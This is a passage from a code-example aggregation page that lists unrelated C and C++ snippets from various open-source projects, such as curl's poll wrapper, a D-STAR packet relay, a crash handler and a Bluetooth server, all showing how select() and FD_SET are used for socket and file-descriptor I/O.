    if (setsockopt(sock_out, IPPROTO_IP, IP_MULTICAST_LOOP, (char *)&loopch, sizeof(loopch)) < 0) {
        fprintf(stderr,"Error: could not set IP_MULTICAST_LOOP socket options! Exiting!\n");
        exit(-1);
    }; // end if



    int fd = pcap_get_selectable_fd(pcaphandle);

    if (fd < 0) {
        fprintf(stderr,"Error: could not get file description for select\n");
        exit(-1);
    }; // end if


    timeouts=0;
    packetsequence=0;

// endless loop
    while (forever) {

        // blocking read with timeout: so we use a select
        fd_set rfds;
        struct timeval tv;


        // set timeout to 1 second
        tv.tv_sec = 1;
        tv.tv_usec = 0;

        FD_ZERO(&rfds);
        FD_SET(fd, &rfds);

        ret= select(fd+1,&rfds,NULL,NULL,&tv);

        if (ret < 0) {
            fprintf(stderr,"Error: select fails (errno=%d)\n",errno);
            exit(-1);
        }; // end if

        // ret=0, we hit a timeout
        if (ret == 0) {
            timeouts++;

            // we stop if we have not received any data during 10 minutes
            if (timeouts > 600) {
                break;
            }; // end if

//fprintf(stderr,"timeout! \n");
            continue;
        }; // end if

        // reset timeouts
        timeouts=0;
        // we have received data, let's check if it is something we can use
        ret = pcap_next_ex( pcaphandle, &header, &packet);

        if (ret == -1) {
            fprintf(stderr,"Error: pcap_next_ex returns an error: %s\n",pcap_geterr(pcaphandle));
            exit(-1);
        }; // end if

        len=header->len;

        // sanity check:
        // the received packet should be at least the size of an ethernet header
        // + the size of the DSTAR_RPC header


        // "38" = sizeof (struct ethhdr) + sizeof(struct dss_rpc_header)
        // however, due to the 32 bit allignments the "sizeof" functions return 40
        if (len < 38) {
            if (verboselevel >= 1) {
                fprintf(stderr,"Error: packet not large enough to hold ethernet header + RPC header\n");
            }; // end if
            continue;
        }; // end if

        // extract ethernet header
        etherhead = (struct ethhdr *) packet;

        // is it IP?
        if (ntohs(etherhead->h_proto) != ETH_P_IP) {
            // not IP
            if (verboselevel > 1) {
                fprintf(stderr,"Error: received packet is not an IP packet\n");
            }; // end if


            continue;
        }; // end if


        // next part of the packet is IP. So it should hold at least the
        // TYPE_RPC header structure
        rpchead = (struct dss_rpc_header *) (packet + sizeof(struct ethhdr));


        // is it UDP?
        if (rpchead->ipheader.protocol != IPPROTO_UDP) {
            // not UDP
            if (verboselevel > 1) {
                fprintf(stderr,"Error: received packet is not a UDP packet\n");
            }; // end if
            continue;
        }; // end if

        udp_len = ntohs(rpchead->udpheader.len);

        // We do not check on UDP port-number as that has already been
        // filtered out by the filter


        // First 4 octets should be 'DSTR'
        // cast 2nd argument to (char *) to avoid warning about signedness
        if (strncmp("DSTR", (char *)rpchead->rpcheader.dstar_id,4) != 0) {
            // not a DSTAR packet
            if (verboselevel > 1) {
                fprintf(stderr,"Error: missing DSTR signature\n");
            }; // end if
            continue;
        }; // end if


        rpcdata_len = ntohs(rpchead->rpcheader.dstar_data_len);

        // sizecheck: the full rest of the UDP packet should be large enough to contain the rest of the D-STAR packet
        if (udp_len < (rpcdata_len + sizeof(struct dstar_rpc_header) + sizeof (struct udphdr))) {
            // check fails
            fprintf(stderr,"Error: packet size of DSTAR packet does not match size of UDP frame!\n");
            continue;
        }; // end if

        // set packetsequence
        dstkheader->sequence.seq32.seq1=htons(packetsequence);
        dstkheader->sequence.seq32.seq2=0;
        packetsequence++;

        // copy data
        memcpy(dstkdata,rpchead,rpcdata_len+sizeof(struct dss_rpc_header));

        // set size
        dstkheader->size=htons(rpcdata_len+sizeof(struct dss_rpc_header));

        // send DSTAR frame
        // size if udp_len (data + UDP header) + size of IP-header
        if (v4orv6_out) {
            // ipv6
            ret=sendto(sock_out,dstkheader,udp_len+sizeof(struct iphdr)+sizeof(dstkheader_str),0,(struct sockaddr *) &MulticastOutAddr6, sizeof(MulticastOutAddr6));
        } else {
            // ipv4
            ret=sendto(sock_out,dstkheader,udp_len+sizeof(struct iphdr)+sizeof(dstkheader_str),0,(struct sockaddr *) &MulticastOutAddr4, sizeof(MulticastOutAddr4));
        }; // end if

        if (ret < 0) {
            if (verboselevel >= 1) {
                fprintf(stderr,"Warning: DSTK packet could not be send. Error: %d (%s)!\n",errno,strerror(errno));
            }; // end if
        }; // end if



    }; // end while

    return(0);

}; // end main
Esempio n. 18
0
/*
 * This is a wrapper around poll().  If poll() does not exist, then
 * select() is used instead.  An error is returned if select() is
 * being used and a file descriptor is too large for FD_SETSIZE.
 * A negative timeout value makes this function wait indefinitely,
 * unles no valid file descriptor is given, when this happens the
 * negative timeout is ignored and the function times out immediately.
 *
 * Return values:
 *   -1 = system call error or fd >= FD_SETSIZE
 *    0 = timeout
 *    N = number of structures with non zero revent fields
 */
int Curl_poll(struct pollfd ufds[], unsigned int nfds, int timeout_ms)
{
#ifndef HAVE_POLL_FINE
  struct timeval pending_tv;
  struct timeval *ptimeout;
  fd_set fds_read;
  fd_set fds_write;
  fd_set fds_err;
  curl_socket_t maxfd;
#endif
  struct timeval initial_tv = {0, 0};
  bool fds_none = TRUE;
  unsigned int i;
  int pending_ms = 0;
  int error;
  int r;

  if(ufds) {
    for(i = 0; i < nfds; i++) {
      if(ufds[i].fd != CURL_SOCKET_BAD) {
        fds_none = FALSE;
        break;
      }
    }
  }
  if(fds_none) {
    r = Curl_wait_ms(timeout_ms);
    return r;
  }

  /* Avoid initial timestamp, avoid curlx_tvnow() call, when elapsed
     time in this function does not need to be measured. This happens
     when function is called with a zero timeout or a negative timeout
     value indicating a blocking call should be performed. */

  if(timeout_ms > 0) {
    pending_ms = timeout_ms;
    initial_tv = curlx_tvnow();
  }

#ifdef HAVE_POLL_FINE

  do {
    if(timeout_ms < 0)
      pending_ms = -1;
    else if(!timeout_ms)
      pending_ms = 0;
    r = poll(ufds, nfds, pending_ms);
    if(r != -1)
      break;
    error = SOCKERRNO;
    if(error && error_not_EINTR)
      break;
    if(timeout_ms > 0) {
      pending_ms = timeout_ms - elapsed_ms;
      if(pending_ms <= 0) {
        r = 0;  /* Simulate a "call timed out" case */
        break;
      }
    }
  } while(r == -1);

  if(r < 0)
    return -1;
  if(r == 0)
    return 0;

  for(i = 0; i < nfds; i++) {
    if(ufds[i].fd == CURL_SOCKET_BAD)
      continue;
    if(ufds[i].revents & POLLHUP)
      ufds[i].revents |= POLLIN;
    if(ufds[i].revents & POLLERR)
      ufds[i].revents |= (POLLIN|POLLOUT);
  }

#else  /* HAVE_POLL_FINE */

  FD_ZERO(&fds_read);
  FD_ZERO(&fds_write);
  FD_ZERO(&fds_err);
  maxfd = (curl_socket_t)-1;

  for(i = 0; i < nfds; i++) {
    ufds[i].revents = 0;
    if(ufds[i].fd == CURL_SOCKET_BAD)
      continue;
    VERIFY_SOCK(ufds[i].fd);
    if(ufds[i].events & (POLLIN|POLLOUT|POLLPRI|
                          POLLRDNORM|POLLWRNORM|POLLRDBAND)) {
      if(ufds[i].fd > maxfd)
        maxfd = ufds[i].fd;
      if(ufds[i].events & (POLLRDNORM|POLLIN))
        FD_SET(ufds[i].fd, &fds_read);
      if(ufds[i].events & (POLLWRNORM|POLLOUT))
        FD_SET(ufds[i].fd, &fds_write);
      if(ufds[i].events & (POLLRDBAND|POLLPRI))
        FD_SET(ufds[i].fd, &fds_err);
    }
  }

#ifdef USE_WINSOCK
  /* WinSock select() can't handle zero events.  See the comment about this in
     Curl_check_socket(). */
  if(fds_read.fd_count == 0 && fds_write.fd_count == 0
     && fds_err.fd_count == 0) {
    r = Curl_wait_ms(timeout_ms);
    return r;
  }
#endif

  ptimeout = (timeout_ms < 0) ? NULL : &pending_tv;

  do {
    if(timeout_ms > 0) {
      pending_tv.tv_sec = pending_ms / 1000;
      pending_tv.tv_usec = (pending_ms % 1000) * 1000;
    }
    else if(!timeout_ms) {
      pending_tv.tv_sec = 0;
      pending_tv.tv_usec = 0;
    }

#ifdef USE_WINSOCK
    r = select((int)maxfd + 1,
               /* WinSock select() can't handle fd_sets with zero bits set, so
                  don't give it such arguments.  See the comment about this in
                  Curl_check_socket().
               */
               fds_read.fd_count ? &fds_read : NULL,
               fds_write.fd_count ? &fds_write : NULL,
               fds_err.fd_count ? &fds_err : NULL, ptimeout);
#else
    r = select((int)maxfd + 1, &fds_read, &fds_write, &fds_err, ptimeout);
#endif
    if(r != -1)
      break;
    error = SOCKERRNO;
    if(error && error_not_EINTR)
      break;
    if(timeout_ms > 0) {
      pending_ms = timeout_ms - elapsed_ms;
      if(pending_ms <= 0) {
        r = 0;  /* Simulate a "call timed out" case */
        break;
      }
    }
  } while(r == -1);

  if(r < 0)
    return -1;
  if(r == 0)
    return 0;

  r = 0;
  for(i = 0; i < nfds; i++) {
    ufds[i].revents = 0;
    if(ufds[i].fd == CURL_SOCKET_BAD)
      continue;
    if(FD_ISSET(ufds[i].fd, &fds_read))
      ufds[i].revents |= POLLIN;
    if(FD_ISSET(ufds[i].fd, &fds_write))
      ufds[i].revents |= POLLOUT;
    if(FD_ISSET(ufds[i].fd, &fds_err))
      ufds[i].revents |= POLLPRI;
    if(ufds[i].revents != 0)
      r++;
  }

#endif  /* HAVE_POLL_FINE */

  return r;
}
Esempio n. 19
0
File: fwd.c Progetto: DarthRa/sudo
int main(int argc, char **argv)
{
    int nread, fd, flags;
    char *pipe_path = "/tmp/sproxy";
    char buf[1024];
    fd_set rdfs, wrdfs;
    struct timeval tv;

    FD_ZERO(&rdfs);
    tv.tv_sec = 1;
    tv.tv_usec = 0;
    
    if((fd=open(pipe_path, O_RDWR))<0)
    {
        fprintf(stderr, "* failed to open pipe\n");
        return -1;
    }

    if ((flags = fcntl(fd, F_GETFL, 0)) == -1)
       flags = 0;

    if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) == -1) {
        perror("fcntl");
        return 1;
    }

    write(fd, argv[1], strlen(argv[1]));

    FD_SET(fd, &rdfs);

    while (1) {
        wrdfs = rdfs;
        switch(select(fd+1, &wrdfs, NULL, NULL, &tv))
        {
            case -1:
                break;
            case 0:
                close(fd);
                return 0;
            default:
                nread = read(fd, buf, 254);
                if (nread == -1) {
                    if (errno == EAGAIN) {
                    // no, sleep and try again
                    usleep(1000);
                    continue;
                }
                perror("read");
                break;
            }   
            int i;
            for (i = 0; i < nread; i++) {
                putchar(buf[i]);
            }
        }
    }

    close(fd);

    return 0;
}
Esempio n. 20
0
/* Once we get here, we should be * safe to do whatever we want;
* heavyweights like malloc and RString are OK. (Don't crash!) */
static void child_process()
{
	/* 1. Read the CrashData. */
	CrashData crash;
	if( !child_read(3, &crash, sizeof(CrashData)) )
		return;
	
	/* 2. Read info. */
	int size;
	if( !child_read(3, &size, sizeof(size)) )
		return;
	char *Info = new char [size];
	if( !child_read(3, Info, size) )
		return;
	
	/* 3. Read AdditionalLog. */
	if( !child_read(3, &size, sizeof(size)) )
		return;
	
	char *AdditionalLog = new char [size];
	if( !child_read(3, AdditionalLog, size) )
		return;
	
	/* 4. Read RecentLogs. */
	int cnt = 0;
	if( !child_read(3, &cnt, sizeof(cnt)) )
		return;
	char *Recent[1024];
	for( int i = 0; i < cnt; ++i )
	{
		if( !child_read(3, &size, sizeof(size)) )
			return;
		Recent[i] = new char [size];
		if( !child_read(3, Recent[i], size) )
			return;
	}
	
	/* 5. Read CHECKPOINTs. */
	if( !child_read(3, &size, sizeof(size)) )
		return;
	
	char *temp = new char [size];
	if( !child_read(3, temp, size) )
		return;
	
	vector<RString> Checkpoints;
	split(temp, "$$", Checkpoints);
	delete [] temp;
	
	/* 6. Read the crashed thread's name. */
	if( !child_read(3, &size, sizeof(size)) )
		return;
	temp = new char [size];
	if( !child_read(3, temp, size) )
		return;
	const RString CrashedThread(temp);
	delete[] temp;
	
	/* Wait for the child to either finish cleaning up or die. */
	fd_set rs;
	struct timeval timeout = { 5, 0 }; // 5 seconds
	
	FD_ZERO( &rs );
	FD_SET( 3, &rs );
	int ret = select( 4, &rs, NULL, NULL, &timeout );
	
	if( ret == 0 )
	{
		fputs( "Timeout exceeded.\n", stderr );
	}
	else if( (ret == -1 && errno != EPIPE) || ret != 1 )
	{
		fprintf( stderr, "Unexpected return from select() result: %d (%s)\n", ret, strerror(errno) );
		// Keep going.
	}
	else
	{		
		char x;
		
		// No need to check FD_ISSET( 3, &rs ) because it was the only descriptor in the set. 
		ret = read( 3, &x, sizeof(x) );
		if( ret > 0 )
		{
			fprintf( stderr, "Unexpected child read() result: %i\n", ret );
			/* keep going */
		}
		else if( (ret == -1 && errno != EPIPE) || ret != 0 )
		{
			/* We expect an EOF or EPIPE.  What happened? */
			fprintf( stderr, "Unexpected child read() result: %i (%s)\n", ret, strerror(errno) );
			/* keep going */
		}
	}
		
	RString sCrashInfoPath = "/tmp";
#if defined(MACOSX)
	sCrashInfoPath = CrashHandler::GetLogsDirectory();
#else
	const char *home = getenv( "HOME" );
	if( home )
		sCrashInfoPath = home;
#endif
	sCrashInfoPath += "/crashinfo.txt";
	
	FILE *CrashDump = fopen( sCrashInfoPath, "w+" );
	if(CrashDump == NULL)
	{
		fprintf( stderr, "Couldn't open " + sCrashInfoPath + ": %s\n", strerror(errno) );
		exit(1);
	}
	
	fprintf( CrashDump, "%s crash report", PRODUCT_ID_VER );
#if defined(HAVE_VERSION_INFO)
	fprintf( CrashDump, " (build %lu, %s @ %s)", version_num, version_date, version_time );
#endif
	fprintf( CrashDump, "\n" );
	fprintf( CrashDump, "--------------------------------------\n" );
	fprintf( CrashDump, "\n" );
	
	RString reason;
	switch( crash.type )
	{
	case CrashData::SIGNAL:
	{
		reason = ssprintf( "%s - %s", SignalName(crash.signal), SignalCodeName(crash.signal, crash.si.si_code) );
		
		/* Linux puts the PID that sent the signal in si_addr for SI_USER. */
		if( crash.si.si_code == SI_USER )
		{
			reason += ssprintf( " from pid %li", (long) crash.si.si_addr );
		}
		else
		{
			switch( crash.signal )
			{
			case SIGILL:
			case SIGFPE:
			case SIGSEGV:
			case SIGBUS:
				reason += ssprintf( " at 0x%0*lx", int(sizeof(void*)*2), (unsigned long) crash.si.si_addr );
			}
			break;
		}
	}
	case CrashData::FORCE_CRASH:
		crash.reason[sizeof(crash.reason)-1] = 0;
		reason = crash.reason;
		break;
	}
	
	fprintf( CrashDump, "Architecture:   %s\n", HOOKS->GetArchName().c_str() );
	fprintf( CrashDump, "Crash reason:   %s\n", reason.c_str() );
	fprintf( CrashDump, "Crashed thread: %s\n\n", CrashedThread.c_str() );
	
	fprintf(CrashDump, "Checkpoints:\n");
	for( unsigned i=0; i<Checkpoints.size(); ++i )
		fputs( Checkpoints[i], CrashDump );
	fprintf( CrashDump, "\n" );
	
	for( int i = 0; i < CrashData::MAX_BACKTRACE_THREADS; ++i )
	{
		if( !crash.BacktracePointers[i][0] )
			break;
		fprintf( CrashDump, "Thread: %s\n", crash.m_ThreadName[i] );
		output_stack_trace( CrashDump, crash.BacktracePointers[i] );
		fprintf( CrashDump, "\n" );
	}
	
	fprintf( CrashDump, "Static log:\n" );
	fprintf( CrashDump, "%s", Info );
	fprintf( CrashDump, "%s", AdditionalLog );
	fprintf(CrashDump, "\nPartial log:\n" );
	for( int i = 0; i < cnt; ++i )
		fprintf( CrashDump, "%s\n", Recent[i] );
	fprintf( CrashDump, "\n" );
	fprintf( CrashDump, "-- End of report\n" );
	fclose( CrashDump) ;
	
#if defined(MACOSX)
	CrashHandler::InformUserOfCrash( sCrashInfoPath );
#else
	/* stdout may have been inadvertently closed by the crash in the parent;
	 * write to /dev/tty instead. */
	FILE *tty = fopen( "/dev/tty", "w" );
	if( tty == NULL )
		tty = stderr;
	
	fputs( 	"\n"
		 PRODUCT_ID " has crashed.  Debug information has been output to\n"
		 "\n"
		 "    " + sCrashInfoPath + "\n"
		 "\n"
		 "Please report a bug at:\n"
		 "\n"
		 "    " REPORT_BUG_URL "\n"
		 "\n", tty );
#endif
}
Esempio n. 21
0
int main(int argc, char **argv)
{
	int i, c, fd, ret;
	char *modules[] = { "i915", "radeon", "nouveau", "vmwgfx", "exynos", "omapdrm", "tilcdc", "msm", "tegra" };
	drmVBlank vbl;
	drmEventContext evctx;
	struct vbl_info handler_info;

	opterr = 0;
	while ((c = getopt(argc, argv, optstr)) != -1) {
		switch (c) {
		case 's':
			secondary = 1;
			break;
		default:
			usage(argv[0]);
			break;
		}
	}

	for (i = 0; i < ARRAY_SIZE(modules); i++) {
		printf("trying to load module %s...", modules[i]);
		fd = drmOpen(modules[i], NULL);
		if (fd < 0) {
			printf("failed.\n");
		} else {
			printf("success.\n");
			break;
		}
	}

	if (i == ARRAY_SIZE(modules)) {
		fprintf(stderr, "failed to load any modules, aborting.\n");
		return -1;
	}

	/* Get current count first */
	vbl.request.type = DRM_VBLANK_RELATIVE;
	if (secondary)
		vbl.request.type |= DRM_VBLANK_SECONDARY;
	vbl.request.sequence = 0;
	ret = drmWaitVBlank(fd, &vbl);
	if (ret != 0) {
		printf("drmWaitVBlank (relative) failed ret: %i\n", ret);
		return -1;
	}

	printf("starting count: %d\n", vbl.request.sequence);

	handler_info.vbl_count = 0;
	gettimeofday(&handler_info.start, NULL);

	/* Queue an event for frame + 1 */
	vbl.request.type = DRM_VBLANK_RELATIVE | DRM_VBLANK_EVENT;
	if (secondary)
		vbl.request.type |= DRM_VBLANK_SECONDARY;
	vbl.request.sequence = 1;
	vbl.request.signal = (unsigned long)&handler_info;
	ret = drmWaitVBlank(fd, &vbl);
	if (ret != 0) {
		printf("drmWaitVBlank (relative, event) failed ret: %i\n", ret);
		return -1;
	}

	/* Set up our event handler */
	memset(&evctx, 0, sizeof evctx);
	evctx.version = DRM_EVENT_CONTEXT_VERSION;
	evctx.vblank_handler = vblank_handler;
	evctx.page_flip_handler = NULL;

	/* Poll for events */
	while (1) {
		struct timeval timeout = { .tv_sec = 3, .tv_usec = 0 };
		fd_set fds;
		int ret;

		FD_ZERO(&fds);
		FD_SET(0, &fds);
		FD_SET(fd, &fds);
		ret = select(fd + 1, &fds, NULL, NULL, &timeout);

		if (ret <= 0) {
			fprintf(stderr, "select timed out or error (ret %d)\n",
				ret);
			continue;
		} else if (FD_ISSET(0, &fds)) {
			break;
		}

		ret = drmHandleEvent(fd, &evctx);
		if (ret != 0) {
			printf("drmHandleEvent failed: %i\n", ret);
			return -1;
		}
	}

	return 0;
}
Esempio n. 22
0
int CNNTPSocket::connect_timeo(int sockfd,const struct sockaddr *saptr,int salen,int nsec)
{
	int n;
	int error;
	int len;
	fd_set rset,wset;
	struct timeval tv;
	
	u_long val = 1;
	ioctlsocket(sockfd,FIONBIO,&val);

	error = 0;
	if((n = connect(sockfd,saptr,salen)) < 0)
	{
		if(WSAGetLastError() != WSAEWOULDBLOCK) 
		{
			return -1;
		}
	}	

	if(n == 0)
		goto done;

	FD_ZERO(&rset);
	FD_SET(sockfd,&rset);
	wset = rset;
	tv.tv_sec = nsec;
	tv.tv_usec = 0;

	if((n = select(sockfd + 1,&rset,&wset,NULL,nsec?&tv:NULL)) == 0)
	{
		shutdown(sockfd, 0x02);
		closesocket(sockfd);
		WSASetLastError(WSAETIMEDOUT);
		return -1;
	}

	if(FD_ISSET(sockfd,&rset) || FD_ISSET(sockfd,&wset))
	{
		len = sizeof(error);
		if(getsockopt(sockfd,SOL_SOCKET,SO_ERROR,(char *)&error,&len) < 0)
		{
			shutdown(sockfd, 0x02);
			closesocket(sockfd);
			return -1;
		}
	}			
	else
	{
		//printf("select error: sockfd not set");
		return -1;
	}		

done:
	val = 0;
	ioctlsocket(sockfd,FIONBIO,&val);
	if(error)
	{
		shutdown(sockfd, 0x02);
		closesocket(sockfd);
		WSASetLastError(error);
		return -1;
	}	
	return 0;
}
Esempio n. 23
0
/*=========================================================================*/ 
int SLPNetworkRecvMessage(int sockfd,
                          SLPBuffer* buf,
                          struct sockaddr_in* peeraddr,
                          struct timeval* timeout)
/* Receives a message                                                      */
/*                                                                         */
/* Returns  -    zero on success, non-zero on failure                      */
/*                                                                         */
/* errno         ENOTCONN error during read                                */
/*               ETIME read timed out                                      */
/*               ENOMEM out of memory                                      */
/*               EINVAL parse error                                        */
/*=========================================================================*/ 
{
    int         xferbytes;
    fd_set      readfds;
    char        peek[16];
    int         peeraddrlen = sizeof(struct sockaddr_in);
    
    /*---------------------------------------------------------------*/
    /* take a peek at the packet to get version and size information */
    /*---------------------------------------------------------------*/
    FD_ZERO(&readfds);
    FD_SET(sockfd, &readfds);
    xferbytes = select(sockfd + 1, &readfds, 0 , 0, timeout);
    if(xferbytes > 0)
    {
        xferbytes = recvfrom(sockfd,
                             peek,
                             16,
                             MSG_PEEK,
                             (struct sockaddr *)peeraddr,
                             &peeraddrlen);
        if(xferbytes <= 0)
        {
#ifndef WIN32
            errno = ENOTCONN;
#endif
            return -1;
        } 
    }
    else if(xferbytes == 0)
    {
#ifndef WIN32
        errno = ETIME;
#endif
        return -1;
    }
    else
    {
#ifndef WIN32
        errno = ENOTCONN;
#endif
        return -1;
    }

    /*------------------------------*/
    /* Read the rest of the message */
    /*------------------------------*/
    /* check the version */
    if(*peek == 2)
    {
        /* allocate the recvmsg big enough for the whole message */
        *buf = SLPBufferRealloc(*buf, AsUINT24(peek + 2));
        if(*buf)
        {
            while((*buf)->curpos < (*buf)->end)
            {
                FD_ZERO(&readfds);
                FD_SET(sockfd, &readfds);
                xferbytes = select(sockfd + 1, &readfds, 0 , 0, timeout);
                if(xferbytes > 0)
                {
                     xferbytes = recv(sockfd,
                                   (*buf)->curpos, 
                                   (*buf)->end - (*buf)->curpos, 
                                   0);
                    if(xferbytes > 0)
                    {
                        (*buf)->curpos = (*buf)->curpos + xferbytes;
                    }
                    else
                    {
#ifndef WIN32
                        errno = ENOTCONN;
#endif
                        return -1;
                    }
                }
                else if(xferbytes == 0)
                {
#ifndef WIN32
                    errno = ETIME;
#endif
                    return -1;
                }
                else
                {
#ifndef WIN32
                    errno =  ENOTCONN;
#endif
                    return -1;
                }
            } /* end of main read while. */  
        }
        else
        {
            errno = ENOMEM;
            return -1;
        }
    }
    else
    {
        errno = EINVAL;
        return -1;
    }

    return 0;
}
Esempio n. 24
0
//
// BaseSocketManager::DoSelect					- Chapter 19, page 679
//
void BaseSocketManager::DoSelect(int pauseMicroSecs, bool handleInput) 
{
	timeval tv;
	tv.tv_sec = 0;
	tv.tv_usec = pauseMicroSecs;    // 100 microseconds is 0.1 milliseconds or .0001 seconds

	fd_set inp_set, out_set, exc_set;
	int maxdesc;

	FD_ZERO(&inp_set);
	FD_ZERO(&out_set);
	FD_ZERO(&exc_set);

	maxdesc = 0;

	// set everything up for the select
	for (SocketList::iterator i = m_SockList.begin(); i != m_SockList.end(); ++i)
	{
		NetSocket *pSock = *i;
		if ((pSock->m_deleteFlag&1) || pSock->m_sock == INVALID_SOCKET)
			continue;

		if (handleInput)
			FD_SET(pSock->m_sock, &inp_set);

		FD_SET(pSock->m_sock, &exc_set);

		if (pSock->VHasOutput())
			FD_SET(pSock->m_sock, &out_set);

		if ((int)pSock->m_sock > maxdesc)
			maxdesc = (int)pSock->m_sock;

	 }
  
	int selRet = 0;

	// do the select (duration passed in as tv, NULL to block until event)
	selRet = select(maxdesc+1, &inp_set, &out_set, &exc_set, &tv) ;
	if (selRet == SOCKET_ERROR)
	{
		PrintError();
		return;
	}

	// handle input, output, and exceptions

	if (selRet)
	{
		for (SocketList::iterator i = m_SockList.begin(); i != m_SockList.end(); ++i)
		{
			NetSocket *pSock = *i;

			if ((pSock->m_deleteFlag&1) || pSock->m_sock == INVALID_SOCKET)
				continue;

			if (FD_ISSET(pSock->m_sock, &exc_set))
			{
				pSock->HandleException();
			}

			if (!(pSock->m_deleteFlag&1) && FD_ISSET(pSock->m_sock, &out_set))
			{
				pSock->VHandleOutput();
			}

			if (   handleInput
				&& !(pSock->m_deleteFlag&1) && FD_ISSET(pSock->m_sock, &inp_set))
			{
				pSock->VHandleInput();
			}
		 }	
	}

	unsigned int timeNow = GLUFGetTimeMs();

	// handle deleting any sockets
	SocketList::iterator i = m_SockList.begin();
	while (i != m_SockList.end())
	{
		NetSocket *pSock = *i;
		if (pSock->m_timeOut) 
		{
			if (pSock->m_timeOut < timeNow)
			{
				pSock->VTimeOut();
			}
		}

		if (pSock->m_deleteFlag&1)
		{
			switch (pSock->m_deleteFlag) 
			{
			  case 1:
					g_pSocketManager->RemoveSocket(pSock);
					i = m_SockList.begin();
					break;
				case 3:
					pSock->m_deleteFlag = 2;
					if (pSock->m_sock != INVALID_SOCKET) 
					{
						closesocket(pSock->m_sock);
						pSock->m_sock = INVALID_SOCKET;
					}
					break;
			}
		}

		++i;

	 }
 }
Esempio n. 25
0
void palSocketSet::Add(palSocket socket) {
  FD_SET(socket, &set_);
}
Esempio n. 26
0
int main_loop() {
#define STDIN 0

    int ret = 0;
    struct timeval to;
    char *newline;
    int bytes, buf_idx = 0;
    fd_set input_fds;
    char *buf = (char *)malloc(MAX_MSGDATA);
    msg_t msg;

    memset(buf, 0, MAX_MSGDATA);
    printf("\n");
    PROMPT();

    while(TRUE) {

        /* If we've not seen the server in KA_TIMEOUT seconds, send
         * a keepalive message. */
        if ((ret = check_keepalive()) != 0) {
            fprintf(stderr, "Problem sending keepalive packet.\n");
            return ret;
        }


        /****************************************
         * Check stdin for input...
         *
         * TODO: try other values for timeout?
         */
        FD_ZERO(&input_fds);
        FD_SET(STDIN, &input_fds);
        to.tv_sec = 0;
        to.tv_usec = 0;

        select(STDIN+1, &input_fds, NULL, NULL, &to);

        if (FD_ISSET(STDIN, &input_fds)) {
            debug_sub_print(DBG_ACTIVE, "%s: stdin has input\n", __func__);
            /************************************
             * Can read from stdin, collect input in buf until
             * we've got a whole line. STDIN may be
             * line-buffered, in which case this is not
             * necessry. TODO: check/set buffering strategy
             * of stdin
             */
            bytes = read(STDIN, buf + buf_idx, MAX_MSGDATA - buf_idx);

            if (bytes <= 0) {
                fprintf(stderr, "%s: reading from stdin: %s\n",
                    __func__, strerror(errno));
                shutdown_clean(1);
            } else {
                newline = (char *) (memchr(buf + buf_idx, '\n', bytes));

                if (newline) {
                    /* User pressed enter, check if control message or
                     * chat message. The functions which we pass the input
                     * on to expect null-termination.
                     */
                    *newline = '\0';

                    if (buf[0] == '!') {
                        ret = handle_command_input(&buf[1]);
                    } else {
                        ret = handle_chatmsg_input(buf);
                    }

                    if (ret) {
                        fprintf(stderr, "Error communicating with server\n");
                        return ret;
                    }
                    
                    PROMPT();
                    /* done with the buffer contents, reset */
                    memset(buf, 0, MAX_MSGDATA);
                    buf_idx = 0;
                } else {
                    /* keep track of how much buffer we've used, continue
                     * waiting for a newline...
                     */
                    buf_idx += bytes;
                }
            }
        } else {
            /************************************
             * Try to read a message from the queue...
             */
            bytes = msgrcv(ctrl2rcvr_qid, &msg, sizeof(struct body_s),
                CTRL_TYPE, IPC_NOWAIT);

            if (bytes <= 0) {
                /* EAGAIN and ENOMSG are expected if there was nothing
                 * waiting for us, don't know what to do with other
                 * types of error */
                if ((errno == EAGAIN) || (errno == ENOMSG)) {
                    /* that's cool */
                    /*debug_sub_print(DBG_ACTIVE, "%s: msgrcv: %s\n",
                        __func__, strerror(errno));
                    */
                } else {
                    fprintf(stderr, "%s: msgrcv: unexpected error: %s\n",
                        __func__, strerror(errno));
                    shutdown_clean(1);
                }
            } else if (bytes > 0) {
                /* Update our timestamp if it is an activity notification from
                 * the receiver process, otherwise we're not sure what to do
                 */
                if ((msg.body.status) == SERVER_ACTIVE) {
                    seen_server();
                } else {
                    debug_sub_print(DBG_ACTIVE, "%s: Unexpected message"
                        "type from receiver (%d)\n", __func__, msg.body.status);
                }
            }
        }
    }

    debug_print("%s: Hm, shouldn't be here.\n", __func__);
    return -1;
}
Esempio n. 27
0
static void
server_accept_client(server_p srv, int32_t fd)
{
    uint8_t		*rsp = NULL;
    int32_t		 cfd, priv;
    uint16_t	 omtu;
    socklen_t	 size;

    do {
        cfd = accept(fd, NULL, NULL);
    } while (cfd < 0 && errno == EINTR);

    if (cfd < 0) {
        log_err("Could not accept connection on %s socket. %s (%d)",
                srv->fdidx[fd].control? "control" : "L2CAP",
                strerror(errno), errno);
        return;
    }

    assert(!FD_ISSET(cfd, &srv->fdset));
    assert(!srv->fdidx[cfd].valid);

    priv = 0;

    if (!srv->fdidx[fd].control) {
        /* Get local BD_ADDR */
        size = sizeof(srv->req_sa);
        if (getsockname(cfd,(struct sockaddr*)&srv->req_sa,&size) < 0) {
            log_err("Could not get local BD_ADDR. %s (%d)",
                    strerror(errno), errno);
            close(cfd);
            return;
        }

        /* Get outgoing MTU */
        size = sizeof(omtu);
        if (getsockopt(cfd,SOL_L2CAP,SO_L2CAP_OMTU,&omtu,&size) < 0) {
            log_err("Could not get L2CAP OMTU. %s (%d)",
                    strerror(errno), errno);
            close(cfd);
            return;
        }

        /*
         * The maximum size of the L2CAP packet is 65536 bytes.
         * The minimum L2CAP MTU is 43 bytes. That means we need
         * 65536 / 43 = ~1524 chunks to transfer maximum packet
         * size with minimum MTU. The "rsp_cs" field in fd_idx_t
         * is 11 bit wide that gives us upto 2048 chunks.
         */

        if (omtu < NG_L2CAP_MTU_MINIMUM) {
            log_err("L2CAP OMTU is too small (%d bytes)", omtu);
            close(cfd);
            return;
        }
    } else {
        struct xucred	 cr;
        struct passwd	*pw;

        /* Get peer's credentials */
        memset(&cr, 0, sizeof(cr));
        size = sizeof(cr);

        if (getsockopt(cfd, 0, LOCAL_PEERCRED, &cr, &size) < 0) {
            log_err("Could not get peer's credentials. %s (%d)",
                    strerror(errno), errno);
            close(cfd);
            return;
        }

        /* Check credentials */
        pw = getpwuid(cr.cr_uid);
        if (pw != NULL)
            priv = (strcmp(pw->pw_name, "root") == 0);
        else
            log_warning("Could not verify credentials for uid %d",
                        cr.cr_uid);

        memcpy(&srv->req_sa.l2cap_bdaddr, NG_HCI_BDADDR_ANY,
               sizeof(srv->req_sa.l2cap_bdaddr));

